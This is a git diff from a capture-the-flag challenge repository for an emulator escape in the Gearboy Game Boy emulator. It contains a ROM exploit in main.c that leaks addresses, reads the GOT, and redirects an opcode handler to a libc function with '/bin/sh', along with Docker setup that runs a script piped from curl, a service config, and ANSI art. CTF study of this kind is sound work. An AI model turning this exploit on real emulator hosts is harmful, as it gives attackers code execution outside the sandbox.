onegadget; + diff --git a/flag b/flag @@ -0,0 +1 @@ +CSCG{an0ther_c3cg_an0ther_(obscure)_0day} diff --git a/gbdk b/gbdk @@ -0,0 +1 @@ +Subproject commit eb2a7e2a5769653b6188b3d104012b74812ff681 diff --git a/gearboy b/gearboy @@ -0,0 +1 @@ +Subproject commit 2cb66cdcb05f77147b9a5941e8ab92bceea828ae diff --git a/image/gearboy b/image/gearboy Binary files differ. diff --git a/image/libc-2.31.so b/image/libc-2.31.so Binary files differ. diff --git a/kill.sh b/kill.sh @@ -0,0 +1,3 @@ +#!/bin/sh + +docker kill "$(docker ps --format "{{.Names}}" | grep cscg22-gearboy-)" diff --git a/main.c b/main.c @@ -6,15 +6,11 @@ main(void) { volatile static uint8_t *processor_gb; volatile static uint8_t *memory_gb; - volatile static uint8_t *gbcore_gb; - volatile static uint8_t *cartridge_gb; - volatile static uint64_t memory; - volatile static uint64_t processor; - volatile static uint64_t cartridge; + volatile static uint8_t *free_got_gb; volatile static uint64_t op0x00; volatile static uint64_t base; volatile static uint64_t libc; - volatile static uint64_t leak; + volatile static uint64_t free_got; volatile static uint64_t target; /* NEEDS TO BE FIRST SESSION OF CONTAINER! */ @@ -25,33 +21,23 @@ main(void) processor_gb = (void*) 0xD960; memory_gb = processor_gb - 0xd0; - /* leak base addr */ + /* get base from op0x00 */ op0x00 = *(uint64_t*)processor_gb; base = op0x00 - 0x1d420; - target = base + 0x13df0; - - /* get real adresses */ - processor = *(uint64_t*)memory_gb; - memory = processor - 0xd0; - - *(uint64_t*)processor_gb = target; - - /* setup fake cartridge opject behind processor & memory */ - cartridge = processor - 0x960; - cartridge_gb = (void*) 0xD000; /* start of wram bank */ - *(uint8_t*)(cartridge_gb+0x30) = 1; /* loaded */ - *(uint8_t*)(cartridge_gb+0x40) = 1; /* battery */ - strcpy((char*)(cartridge_gb+0x41), "/home/ctf/wrapper.py"); /* filepath */ - - /* setup fake gameboycore object */ - gbcore_gb = processor_gb; /* at processor addr */ - // *(uint64_t*)(gbcore_gb+0x00) = memory; - // *(uint64_t*)(gbcore_gb+0x08) = processor; - // *(uint64_t*)(gbcore_gb+0x28) = cartridge; - - /* set opcode 0x10 (stop) to saveRam */ - // *(uint64_t*)(processor+0x10*0x10) = target; - // *(uint64_t*)(processor+0x10*0x10) = 0; + free_got = base + 0x4ad78; + + /* change lcdrambank pointer to access got */ + *(uint64_t*)(memory_gb+0x90) = free_got; + free_got_gb = (void*) 0x8000; + + libc = (*(uint64_t*)free_got_gb) - 0x9a6d0; + + // target = libc + 0xe3afe; + // *(uint64_t*)free_got_gb = target; + + target = libc + 0x52290; + strcpy((char*)processor_gb, "/bin/sh"); + *(uint64_t*)(processor_gb+0x10*0x10) = target; __asm \ stop \ diff --git a/run.sh b/run.sh @@ -0,0 +1,11 @@ +#!/bin/sh + +if [ "$1" == "chall" ]; then + pushd chall + docker build -t cscg22-gearboy-chall . + docker run --name "cscg22-gearboy-chall-$$" --net=host -it cscg22-gearboy-chall +else + pushd server + docker build -t cscg22-gearboy-testserver . + docker run --name "cscg22-gearboy-testserver-$$" --net=host -it cscg22-gearboy-testserver +fi diff --git a/server/Dockerfile b/server/Dockerfile @@ -0,0 +1,39 @@ +# docker build -t gearboy . && docker run --rm -it -p1024:1024 gearboy +FROM ubuntu:20.04 + +ENV DEBIAN_FRONTEND=noninteractive + +RUN apt-get update && \ + apt-get install --no-install-recommends -y gdb xinetd libncurses5-dev libncurses5 python3 python3-pip gdbserver build-essential git libsdl2-dev libglew-dev && \ + apt-get clean + +RUN pip3 install --no-cache-dir cryptography==3.3 pwntools + +RUN useradd -d /home/ctf/ -m -p ctf -s /bin/bash ctf && echo "ctf:ctf" | chpasswd + +WORKDIR /home/ctf + +RUN git clone https://github.com/drhelius/Gearboy.git gearboy && cd gearboy && git checkout 2cb66cdcb05f77147b9a5941e8ab92bceea828ae + +WORKDIR /home/ctf/gearboy/ +COPY headless.patch /home/ctf/gearboy/ + +RUN git apply --ignore-space-change --ignore-whitespace headless.patch + +WORKDIR /home/ctf/gearboy/platforms/linux +RUN make + +RUN apt install -y curl python3.9 python-is-python3 + +RUN bash -c "$(curl -fsSL http://gef.blah.cat/sh)" + +COPY flag / +COPY wrapper.py /home/ctf/wrapper.py + +COPY python_svc /etc/xinetd.d/ + +env TERM=linux TERMINFO=/etc/terminfo + +EXPOSE 1024 + +CMD ["xinetd", "-dontfork"] diff --git a/server/flag b/server/flag @@ -0,0 +1 @@ +CSCG{REDACTED} +\ No newline at end of file diff --git a/server/headless.patch b/server/headless.patch @@ -0,0 +1,148 @@ +diff --git a/platforms/audio-shared/Sound_Queue.cpp b/platforms/audio-shared/Sound_Queue.cpp +index 4dd4fb1..9a4402e 100644 +--- a/platforms/audio-shared/Sound_Queue.cpp ++++ b/platforms/audio-shared/Sound_Queue.cpp +@@ -144,9 +144,9 @@ void Sound_Queue::write( const sample_t* in, int count, bool sync ) + { + write_pos = 0; + write_buf = (write_buf + 1) % buf_count; +- +- if (sync_output) +- SDL_SemWait( free_sem ); ++ // We don't like deadlocks in SDL_SemWait, remove them ++ //if (sync_output) ++ // SDL_SemWait( free_sem ); + } + } + } +diff --git a/platforms/desktop-shared/application.cpp b/platforms/desktop-shared/application.cpp +index d39cf93..d75be4d 100644 +--- a/platforms/desktop-shared/application.cpp ++++ b/platforms/desktop-shared/application.cpp +@@ -44,17 +44,10 @@ static void run_emulator(void); + static void render(void); + static void frame_throttle(void); + +-int application_init(const char* arg) ++int application_init(const char* rom, const char* state) + { + Log ("<·> %s %s Desktop App <·>", GEARBOY_TITLE, GEARBOY_VERSION); + +- if (IsValidPointer(arg) && (strlen(arg) > 0)) +- { +- Log ("Loading with argv: %s"); +- } +- +- int ret = sdl_init(); +- + application_fullscreen = false; + + config_init(); +@@ -67,42 +60,39 @@ int application_init(const char* arg) + emu_savefiles_dir_option = config_emulator.savefiles_dir_option; + emu_savestates_dir_option = config_emulator.savestates_dir_option; + +- gui_init(); ++ // We need no renderer and no SDL, remove those functions + +- ImGui_ImplSDL2_InitForOpenGL(sdl_window, gl_context); +- +- renderer_init(); + + SDL_GL_SetSwapInterval(config_video.sync ? 1 : 0); + +- if (IsValidPointer(arg) && (strlen(arg) > 0)) +- { +- gui_load_rom(arg); +- } ++ ++ printf("Loading rom: %s\n", rom); ++ gui_load_rom(rom); ++ printf("Loading state: %s\n", state); ++ emu_load_state_file(state); + +- return ret; ++ return 0x00; + } + + void application_destroy(void) + { + config_write(); + config_destroy(); +- renderer_destroy(); +- gui_destroy(); ++ // We can't destroy objects we did not create. We remove them ++ //renderer_destroy(); ++ //gui_destroy(); + emu_destroy(); +- sdl_destroy(); ++ //sdl_destroy(); + } + + void application_mainloop(void) + { +- while (running) +- { ++ // Only 100 ticks for emulation. No crypto-mining on gearboy! ++ for (int i = 0; i < 100; i++) { + frame_time_start = SDL_GetPerformanceCounter(); + sdl_events(); + run_emulator(); +- render(); + frame_time_end = SDL_GetPerformanceCounter(); +- frame_throttle(); + } + } + +@@ -466,20 +456,7 @@ static void sdl_shortcuts_gui(const SDL_Event* event) + + static void run_emulator(void) + { +- if (!emu_is_empty()) +- { +- static int i = 0; +- i++; +- +- if (i > 20) +- { +- i = 0; +- +- char title[256]; +- sprintf(title, "%s %s - %s", GEARBOY_TITLE, GEARBOY_VERSION, emu_get_core()->GetCartridge()->GetFileName()); +- SDL_SetWindowTitle(sdl_window, title); +- } +- } ++ // We removed stuff like window titles here + config_emulator.paused = emu_is_paused(); + emu_audio_sync = config_audio.sync; + emu_update(); +diff --git a/platforms/desktop-shared/application.h b/platforms/desktop-shared/application.h +index 74a8c9e..ebbd3cb 100644 +--- a/platforms/desktop-shared/application.h ++++ b/platforms/desktop-shared/application.h +@@ -35,7 +35,7 @@ EXTERN SDL_version application_sdl_build_version; + EXTERN SDL_version application_sdl_link_version; + EXTERN bool application_fullscreen; + +-EXTERN int application_init(const char* arg); ++EXTERN int application_init(const char* rom, const char* state); + EXTERN void application_destroy(void); + EXTERN void application_mainloop(void); + EXTERN void application_trigger_quit(void); +diff --git a/platforms/desktop-shared/main.cpp b/platforms/desktop-shared/main.cpp +index 161eb9e..37e842e 100644 +--- a/platforms/desktop-shared/main.cpp ++++ b/platforms/desktop-shared/main.cpp +@@ -21,7 +21,11 @@ + + int main(int argc, char* argv[]) + { +- int ret = application_init((argc == 2) ? argv[1] : NULL); ++ if (argc < 3) { ++ printf("Usage: gearboy [rom] [state]\n"); ++ return -1; ++ } ++ int ret = application_init(argv[1], argv[2]); + + if (ret >= 0) + application_mainloop(); diff --git a/server/python_svc b/server/python_svc @@ -0,0 +1,12 @@ +service gearboy +{ +type = UNLISTED +protocol = tcp +socket_type = stream +port = 1024 +server = /usr/bin/env +server_args = python3 /home/ctf/wrapper.py +user = ctf +wait = no +env = HOME=/home/ctf/ +} diff --git a/server/wrapper.py b/server/wrapper.py @@ -0,0 +1,94 @@ +from pwn import * +import tempfile +import base64 +import os +import subprocess + +print("""[0;34;40mt[0;1;30;40mX[0;34;40mt[0;1;30;40mXS[0;34;40m%[0;1;30;40mXS[0;34;40m%[0;1;30;40m@[0;34;40m%[0;1;30;40m@[0;34;40mt[0;1;30;40m@[0;34;40mt[0;1;30;40mXS[0;34;40mt[0;1;30;40mX[0;34;40mt[0;1;30;40mX[0;31;40mt[0;32;40m%[0;1;30;40mX[0;31;40mt[0;1;30;40mX[0;32;40mt[0;1;30;40mX[0;31;40mt[0;1;30;40mX[0;34;40mt[0;1;30;40mX[0;32;40mt[0;1;30;40mX[0;34;40mt[0;1;30;40mX[0;31;40mt[0;32;40m%[0;1;30;40mX[0;31;40mt[0;1;30;40mX[0;32;40mt[0;1;30;40mX[0;31;40mt[0;1;30;40mX[0;32;40mt[0;1;30;40mX[0;31;40mt[0;1;30;40mX[0;32;40mt[0;1;30;40mX[0;31;40mt[0;1;30;40mX[0;32;40mt[0;1;30;40mX[0;31;40m;[0;1;30;40mX[0;34;40mt[0;1;30;40mX[0;32;40mt[0;1;30;40mX[0;34;40mt[0;1;30;40mX[0;31;40mt[0;1;30;40mX[0;32;40mt[0;1;30;40mX[0;31;40mt[0;1;30;40mX[0;32;40mt[0;1;30;40mX[0;34;40mt[0;1;30;40mX[0;31;40mt[0;1;30;40m@[0;34;40mt[0;1;30;40m@S[0;34;40mt[0;1;30;40mX[0;32;40mt[0;1;30;40m@[0;34;40mt[0;1;30;40mX[0;31;40mt[0;1;30;40mX[0;32;40mt[0;1;30;40mX[0;31;40mt[0;1;30;40mX[0;32;40mt[0;1;30;40mX[0;34;40mt[0;1;30;40mX[0;34;40mt[0;1;30;40mX[0;34;40mt[0;1;30;40mX[0;34;40m%[0;1;30;40mX[0m +[0;32;40mt[0;1;30;40mX[0;31;40m%[0;1;30;40mX[0;32;40mt[0;1;30;40mX[0;31;40mt[0;1;30;40mX[0;32;40m%[0;31;40mS[0;1;30;40mX[0;32;40m%[0;1;30;40mX[0;31;40m%[0;1;30;40mX[0;32;40mt[0;1;30;40mX[0;31;40m%[0;1;30;40mX[0;32;40m%[0;1;30;40mX[0;34;40m%[0;1;30;40m@[0;34;40m%[0;1;30;40mX[0;34;40mt[0;1;30;40mX[0;34;40mt[0;1;30;40m@[0;34;40m%[0;1;30;40m@S[0;34;40m%[0;1;30;40mS[0;31;40m%[0;34;40mS[0;1;30;40m@[0;34;40m%[0;1;30;40mX[0;34;40m%[0;1;30;40mX[0;34;40m%[0;1;30;40mX[0;34;40m%[0;1;30;40mX[0;34;40m%[0;1;30;40mX[0;34;40m%[0;1;30;40mX[0;34;40m%[0;1;30;40mX[0;34;40m%[0;1;30;40mX[0;34;40m%[0;1;30;40mS[0;34;40m%[0;1;30;40mXS[0;34;40mt[0;1;30;40m@[0;34;40mt[0;1;30;40mX[0;34;40mt[0;1;30;40mX[0;34;40m%[0;1;30;40mX[0;34;40m%[0;1;30;40mX[0;34;40m%[0;1;30;40m@[0;31;40mt[0;1;30;40m@[0;34;40m%[0;1;30;40m8[0;34;40m%[0;1;30;40m@[0;32;40mt[0;1;30;40m@SS[0;34;40m%[0;1;30;40mX[0;31;40m%[0;1;30;40m8[0;34;40m%[0;1;30;40m@X[0;34;40m%[0;1;30;40m@[0;34;40m%[0;1;30;40mXSS[0;31;40m%[0;1;30;40mX[0;32;40m%[0;1;30;40mX[0;31;40m%[0;1;30;40mX[0;32;40mt[0m +[0;34;40m;[0;1;30;40mS[0;32;40mt[0;34;40m%[0;31;40mS[0;1;30;40mX[0;34;40mt[0;1;30;40mS[0;34;40mt[0;1;30;40mX[0;34;40m;[0;31;40mS[0;34;40m%[0;32;40mS[0;34;40m%[0;31;40mS[0;34;40mS[0;32;40mS[0;34;40mS[0;31;40mS[0;34;40m%[0;1;30;40m@[0;31;40m;[0;32;40m%[0;31;40mt[0;1;30;40mS[0;32;40m;[0;31;40m%[0;32;40m%[0;31;40m%[0;34;40mt[0;31;40m%[0;1;30;40mS[0;31;40m;[0;1;30;40m@[0;32;40mt[0;31;40mt[0;32;40mt[0;31;40m%[0;32;40m%[0;31;40m%[0;1;30;40mS[0;31;40mt[0;32;40m%[0;31;40m%[0;1;30;40mS[0;31;40m;[0;32;40m%[0;31;40m%[0;1;30;40mS[0;31;40m;[0;32;40mt[0;31;40m%[0;1;30;40mS[0;31;40mt[0;32;40m%[0;31;40m%[0;34;40mt[0;31;40m%[0;1;30;40mS[0;31;40mt[0;1;30;40mS[0;31;40mt[0;32;40m%[0;31;40m%[0;32;40mt[0;31;40m%[0;32;40m%[0;1;30;40mS[0;31;40m;[0;34;40m%[0;32;40mS[0;31;40m%[0;32;40m%[0;1;30;40mS[0;31;40mt[0;34;40m%[0;31;40mt[0;34;40mt[0;31;40m%[0;32;40mS[0;1;30;40mX[0;34;40mt[0;32;40m%[0;1;30;40mS[0;31;40m;[0;1;30;40mX[0;31;40mt[0;1;30;40mXS[0;31;40mt[0;34;40m%[0;1;30;40mX[0;32;40m%[0;34;40m%[0;31;40mX[0;1;30;40m@[0;32;40mt[0;34;40m%[0;31;40m%[0m +[0;1;30;44m8[0;5;34;40m8[0;1;30;44m@[0;5;35;40m8[0;1;30;44mX[0;5;34;40m88[0;1;30;44m8[0;5;34;40m888[0;1;30;44m8[0;5;34;40m8888@8X8@88888@8@@X8888@[0;1;30;44m8[0;5;34;40mX[0;1;30;44m8[0;5;34;40mX[0;1;30;44m8[0;5;34;40m88@888@[0;1;30;44m8[0;5;34;40m88@[0;1;30;44m8[0;5;34;40m88@8@8888@@888@88X@8[0;1;30;44m8[0;5;34;40m88@8@8@8X@[0;1;30;44m8[0;5;34;40m@8888@X[0;1;30;44m8[0;5;35;40m8[0;1;30;44m888[0;5;34;40m88[0;1;30;44m8[0m +[0;5;34;40m8[0;34;45m8[0;5;34;40mS[0;35;44m@[0;5;36;40mS[0;35;44m8[0;5;35;40m@[0;35;44m8[0;5;35;40mX[0;35;44m@[0;5;35;40mX[0;35;44m@[0;5;35;40mX[0;35;44m8[0;5;35;40m@[0;35;44m@[0;5;34;40m@[0;34;45m8[0;1;30;44m8[0;1;30;45m8[0;1;30;44m8[0;35;44m8[0;5;34;40m@[0;34;45m8[0;5;34;40m@[0;35;44m8[0;5;35;40m@[0;35;44m@[0;5;34;40m@[0;34;45m8[0;1;30;44m8[0;1;30;45m8[0;35;44m@[0;5;34;40m8[0;34;45m8[0;5;35;40m8[0;35;44m@[0;5;35;40m8[0;35;44m8[0;5;35;40m8[0;35;44m@[0;5;35;40m8[0;35;44m@[0;5;35;40m8[0;35;44m@[0;5;34;40m8[0;34;45m8[0;5;34;40m8[0;1;30;45m@[0;1;30;44m@[0;34;45m8[0;5;35;40m8[0;35;44m8[0;5;35;40m8[0;35;44m8[0;5;35;40m8[0;35;44m@[0;5;35;40m@[0;35;44m8[0;5;35;40m8[0;35;44m@[0;1;30;45m8[0;35;44mX[0;5;34;40m8[0;34;45m8[0;5;34;40m@[0;35;44m8[0;5;34;40m@[0;35;44m8[0;5;35;40m@[0;35;44mX[0;5;34;40m8[0;34;45m8[0;5;35;40m@[0;1;30;44m8[0;34;45m8[0;5;34;40mX[0;35;44m8[0;5;35;40mX[0;35;44m88[0;5;34;40m@[0;34;45m88[0;5;35;40mS[0;35;44m8[0;1;30;45m8[0;35;44m@[0;5;35;40m@[0;35;44m@[0;34;45m8[0;5;35;40m@[0;35;44m@[0;1;30;44m8[0;1;30;45m8[0;1;30;44m8[0;1;30;45m8[0;35;44m@[0;5;35;40mX[0;35;44m@[0m +[0;5;34;40m8[0;34;45m8[0;1;30;46m8[0;1;34;45m8[0;35;44m8[0;1;30;46m8[0;5;34;44m8[0;5;35;40mt[0;5;34;44m8[0;5;36;40m:[0;5;34;44m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m;[0;5;34;44m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m;[0;5;34;44m8[0;5;35;40m%[0;1;34;44m8[0;5;35;40m;[0;34;45m8[0;1;30;46m8[0;34;45m8[0;1;30;46m8[0;5;34;44m8[0;5;35;40m%[0;5;34;44m8[0;5;35;40m;[0;5;35;44m8[0;5;36;40mX[0;34;45m8[0;5;36;40mS[0;5;34;44m8[0;5;35;40mS[0;36;44m@[0;34;45m8[0;1;30;46m8[0;35;44m8[0;5;36;40mX[0;1;34;44m8[0;5;35;40m%[0;1;34;44m@[0;5;35;40m;[0;35;44m8[0;5;36;40mt[0;1;34;44m8[0;5;35;40m@[0;35;44m8[0;1;30;46m8[0;35;44m8[0;5;36;40m@[0;35;44m8[0;5;36;40mX[0;1;34;44m8[0;5;35;40mS[0;1;34;44m8[0;5;36;40m%[0;1;34;44m@[0;5;35;40m%[0;1;34;44m@[0;5;35;40mt[0;1;34;44m8[0;5;35;40mt[0;5;34;44m8[0;5;35;40m%[0;34;45m8[0;5;36;40mX[0;1;34;44m@[0;5;35;40m%[0;35;44m@[0;1;30;46m8[0;35;44m@[0;1;30;44m88[0;34;45m8[0;1;30;46m8[0;1;34;44m@[0;5;35;40mt[0;5;34;44m8[0;5;36;40m;[0;1;30;44m8[0;36;44m8[0;35;44m8[0;1;30;46m8[0;35;44m@[0;5;36;40m8[0;1;34;44m@[0;5;35;40m%[0;1;34;44m@[0;5;36;40mX[0;35;44m8[0;5;36;40m@[0;1;34;44m8[0;5;35;40mS[0;1;34;44m8[0;5;36;40m%[0;1;34;44m8[0;5;35;40mt[0m +[0;5;34;40m8[0;34;45m88[0;1;30;46m8[0;1;34;45m8[0;1;30;45m8[0;5;35;40mS[0;5;34;44m8[0;5;35;40m:[0;34;45m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m:[0;34;45m8[0;5;36;40m;[0;5;35;44m8[0;5;35;40m:[0;1;30;45m8[0;5;36;40mS[0;5;35;44m8[0;5;35;40m;[0;5;34;44m8[0;5;35;40m;[0;5;35;44m@[0;5;35;40mS[0;1;34;45m8[0;5;35;40m%[0;34;45m8[0;5;36;40m:[0;5;35;44m8[0;5;36;40mt[0;1;34;44m8[0;1;30;45m8[0;5;34;44m8[0;5;35;40m;[0;34;45m8[0;5;35;40mt[0;5;34;44m@[0;1;30;45m8[0;5;34;44m8[0;1;30;45m8[0;5;35;40m%[0;1;34;44m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m;[0;1;34;45m8[0;5;35;40mt[0;5;34;44m8[0;5;35;40m;[0;5;34;44m8[0;5;35;40m%[0;1;34;44m8[0;5;35;40mXX[0;5;37;40m8%S[0;5;33;40m :[0;1;30;43m8[0;5;33;40m [0;37;43m8[0;5;33;40m [0;5;37;40m8[0;1;30;43m8[0;1;30;47m88[0;5;37;40m%[0;1;30;47m88[0;1;30;43m8[0;1;30;47m88[0;33;47m8@@888888888@[0;37;43m8@[0;33;47m8[0;37;43m@[0;33;47m88[0;37;43m8[0;33;47m88[0;37;43m@[0;33;47m8[0;1;33;47m8[0;5;35;40mt[0m +[0;5;34;40m8[0;5;35;40m%[0;5;34;44m@[0;5;35;40m%[0;1;30;44m8[0;5;34;44m@[0;5;35;40m:[0;1;30;45m8[0;5;34;44m8[0;5;35;40m.[0;5;35;44m8[0;5;35;40m:[0;5;35;44m8[0;5;36;40m%[0;5;35;44m8[0;5;36;40m;[0;5;34;44m8[0;1;30;45m8[0;5;34;44m8[0;5;35;40m;[0;34;45m8[0;5;36;40m:[0;5;35;44m8[0;5;36;40mt[0;1;34;44m8[0;5;35;40mt[0;5;34;44m8[0;5;35;40m.[0;5;34;44m8[0;5;35;40m;[0;34;45m8[0;5;35;40m;[0;5;34;44m8[0;5;35;40m.[0;34;45m8[0;1;34;46m8[0;1;30;45m8[0;5;36;40mt[0;5;35;44m8[0;5;36;40m.[0;5;34;44m8[0;5;35;40m;[0;1;30;45m8[0;1;34;44m8[0;5;35;40m.[0;1;34;45m8[0;5;36;40mX[0;34;45m8[0;5;36;40m;[0;1;34;45m8[0;5;35;40mt[0;34;45m8[0;5;35;40m:[0;1;34;44m8[0;1;30;43m8[0;5;37;43m@[0;5;33;43m [0;5;33;41mt[0;1;33;47m@8[0;1;33;43m:[0;5;37;43m8[0;1;33;43m.[0;5;37;43m@[0;33;47m8[0;5;33;43m:[0;1;31;43m8[0;37;43mX[0;5;33;43m [0;5;37;43m@X[0;1;31;43m8[0;37;43m@X[0;1;31;43m8[0;5;37;43m8[0;1;31;43m8[0;37;43mX[0;5;33;43m.[0;5;33;41mt[0;5;37;43m@[0;1;31;43m8[0;5;37;43m8[0;1;31;43m8[0;1;30;43m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m8[0;5;1;31;43m@[0;5;37;43m8[0;5;1;31;43m@[0;5;37;43m@[0;5;1;31;43m@[0;5;37;43m@[0;5;1;31;43m@[0;5;37;43m8[0;5;1;31;43m@[0;5;37;43m8[0;1;30;43m8[0m +[0;5;34;40m8[0;34;45m8[0;5;36;40m:[0;5;35;44m@[0;5;35;40m:[0;1;30;45m8[0;5;34;44m@[0;5;36;40m.[0;1;30;45m8[0;5;34;44m8[0;5;35;40m [0;34;45m8[0;1;30;46m8[0;1;34;45m8[0;5;35;40m%[0;35;44m8[0;5;36;40m;[0;5;34;44m8[0;5;35;40m:[0;34;45m8[0;1;34;46m8[0;1;30;45m8[0;1;30;44m8[0;1;30;45m8[0;35;44m8[0;5;36;40m;[0;1;34;45m8[0;5;36;40m;[0;1;30;45m8[0;5;34;44m8[0;5;35;40m.[0;5;35;44m8[0;5;35;40m.[0;1;34;45m8[0;5;36;40m;[0;34;45m8[0;5;34;44m@[0;5;35;40mt[0;1;30;44m8[0;1;30;45m8[0;5;36;40m%[0;5;34;44mX[0;5;35;40m;[0;1;30;45m8[0;5;34;44m8[0;5;35;40m.[0;5;34;44m8[0;5;35;40mt[0;5;34;44m8[0;5;35;40m;[0;5;34;44m@[0;5;36;40m:[0;5;34;44m8[0;5;35;40mS[0;5;33;40mX[0;5;37;43m8[0;5;37;41m8[0;1;33;47mX[0;5;31;40m8[0;31;40m8[0;30;41m8[0;5;35;40m:[0;1;30;41m8[0;5;31;40m8[0;33;41m8[0;30;41m@[0;5;30;40mS[0;5;33;40m:[0;1;30;41m8[0;1;33;47m8[0;5;1;31;43m8[0;1;30;43m8[0;5;31;40m88[0;5;33;40m8[0;5;31;40m8[0;5;33;40m:8[0;1;30;41m8[0;5;35;40m8[0;5;33;40m8[0;1;30;43m8[0;5;31;40m8[0;33;47m8[0;1;30;43m88[0;5;37;43m88[0;5;1;31;43m8[0;5;37;43m88[0;5;1;31;43m8[0;5;37;43m88[0;5;1;31;43m8[0;5;37;43m88[0;5;1;31;43m8[0;5;37;43m8[0;1;31;47m8[0m +[0;5;34;40m8[0;34;45m8[0;1;30;46m8[0;34;45m@[0;5;34;44m@[0;5;36;40m.[0;1;30;45m8[0;5;34;44m@[0;5;36;40m.[0;1;30;45m8[0;5;34;44m8[0;5;35;40m.[0;5;35;44m8[0;5;36;40m%[0;1;34;44m8[0;5;35;40mt[0;5;35;44m8[0;5;35;40m:[0;1;34;45m8[0;5;36;40mt[0;34;45m8[0;5;36;44m8[0;1;30;45m8[0;5;36;44m8[0;1;30;45m8[0;5;34;44m8[0;5;35;40m.[0;5;34;44m@[0;5;35;40m;[0;1;30;45m8[0;5;34;44m8[0;5;35;40m [0;35;44m8[0;1;30;46m8[0;5;35;44m8[0;5;36;40m.[0;1;30;45m8[0;5;34;44m@[0;5;35;40m:[0;5;34;44mS[0;1;30;45m8[0;5;35;40mS[0;5;34;44mX[0;5;35;40m.[0;1;30;45m8[0;1;34;44m8[0;5;35;40m.[0;1;34;45m8[0;5;35;40m:[0;35;44m8[0;5;36;40m.[0;1;34;45m8[0;5;35;40m.[0;35;44m8[0;1;30;43m8[0;5;37;43m@S[0;5;33;43m [0;37;43m@[0;5;37;43m8[0;1;33;47m8[0;5;33;43m:[0;33;47m8[0;5;37;43m8[0;1;33;47m888[0;5;37;43m@[0;5;33;43m [0;5;37;41m8[0;5;37;43m88[0;1;33;47m88[0;37;43m@[0;1;33;47m8[0;5;37;43m8[0;5;33;43m.[0;33;47m8[0;5;37;43mS[0;1;33;47m8[0;5;37;43mX@[0;1;33;47m8[0;5;1;31;43m@[0;5;37;43m8[0;5;1;31;43m8[0;1;33;47mS[0;5;37;43m8[0;5;1;33;41m@[0;5;37;43m88[0;5;1;33;41m8[0;5;37;43m88[0;5;1;33;41m8[0;5;37;43m888[0;1;31;43m8[0m +[0;5;34;40m8[0;34;45m8[0;5;35;44m8[0;5;36;40m:[0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;1;30;45m8[0;5;34;44m8[0;5;35;40m;[0;34;45m8[0;5;35;40m;[0;5;34;44m8[0;5;35;40m:[0;35;44m8[0;1;30;46m8[0;5;35;44m8[0;5;35;40m;[0;1;30;45m8[0;1;34;44m8[0;5;35;40m;%[0;1;34;44m8[0;5;35;40m;[0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;1;30;45m8[0;5;34;44m8[0;5;35;40m:[0;1;34;45m8[0;5;36;40mt[0;5;34;44m@[0;5;35;40m;[0;1;30;45m8[0;5;34;44m8[0;5;35;40m [0;5;34;44m8[0;5;35;40m;[0;1;30;45m8[0;5;34;44m@[0;5;36;40m.[0;1;30;45m8[0;5;34;44m8[0;5;35;40m [0;5;34;44m8[0;5;35;40m.[0;5;34;44mX[0;5;35;40m;[0;35;44m8[0;5;36;40mS[0;5;35;40mt[0;5;1;31;43m@[0;5;37;43m8[0;5;1;33;41m8[0;5;37;43m8@[0;5;1;33;41m8[0;1;33;47m8[0;5;1;31;43m@[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m@[0;5;1;33;41m8[0;1;33;47m8[0;5;1;31;43m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m@[0;5;1;33;41m8[0;5;37;43m@[0;5;1;31;43m8[0;5;37;43mX[0;5;33;41m [0;1;33;47m8[0;5;1;31;43m@[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m8[0;5;1;33;41m8[0;1;33;47m8[0;5;33;41m.[0;33;47m8[0;5;33;41m:[0;1;31;43m8[0;1;31;47m8[0;33;47m8[0;5;1;31;43m8[0;5;37;43m88[0;5;1;33;41m8[0;5;37;43m88[0;5;1;33;41m8[0;5;37;43m88[0;35;47m8[0m +[0;5;34;40m8[0;5;35;40m%[0;36;44m8[0;1;34;45m8[0;5;36;40m%[0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;1;30;45m8[0;5;34;44mX[0;5;36;40m:[0;1;30;45m8[0;5;34;44m8[0;5;36;40m:[0;5;35;44m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m;[0;1;34;45m8[0;5;36;40m%[0;5;34;44m8[0;5;35;40m;[0;1;30;45m8[0;5;34;44m@[0;5;35;40m:[0;1;30;45m8[0;5;34;44mX[0;5;36;40m.[0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;1;30;45m8[0;5;34;44m8[0;5;35;40m:[0;34;45m8[0;5;35;40mt[0;5;34;44mX[0;5;35;40m.[0;1;30;45m88[0;1;30;46m8[0;5;35;44m@[0;5;36;40m%[0;34;45m8[0;5;36;44m8[0;5;35;40m%[0;1;30;45m8[0;36;44m8[0;1;30;45m8[0;5;35;44m8[0;5;36;40m [0;5;35;44m8[0;5;36;40mt[0;35;44m8[0;1;30;43m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m8[0;5;1;31;43m8[0;1;33;47m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m8[0;5;1;31;43m8[0;1;33;47m8[0;5;1;31;43m8[0;1;33;47m8[0;5;1;31;43m8[0;1;33;47m8[0;5;37;43m88[0;5;1;33;41m8[0;33;47mX[0;5;33;41m8[0;1;30;47m8[0;5;33;40m%[0;5;30;40m8[0;5;31;40m@[0;5;37;43m@[0;1;31;47m8[0;1;31;43m8[0;5;33;41mS[0;37;43m8[0;1;31;43m8[0;1;33;47mS[0;5;37;43m@88X[0;5;1;31;43m8[0;5;37;43m8[0;5;1;33;41m8[0;5;37;43m88[0;5;1;33;41m8[0;5;37;43m88[0;5;1;33;41m8[0;5;37;43m8[0;5;33;41mS[0m 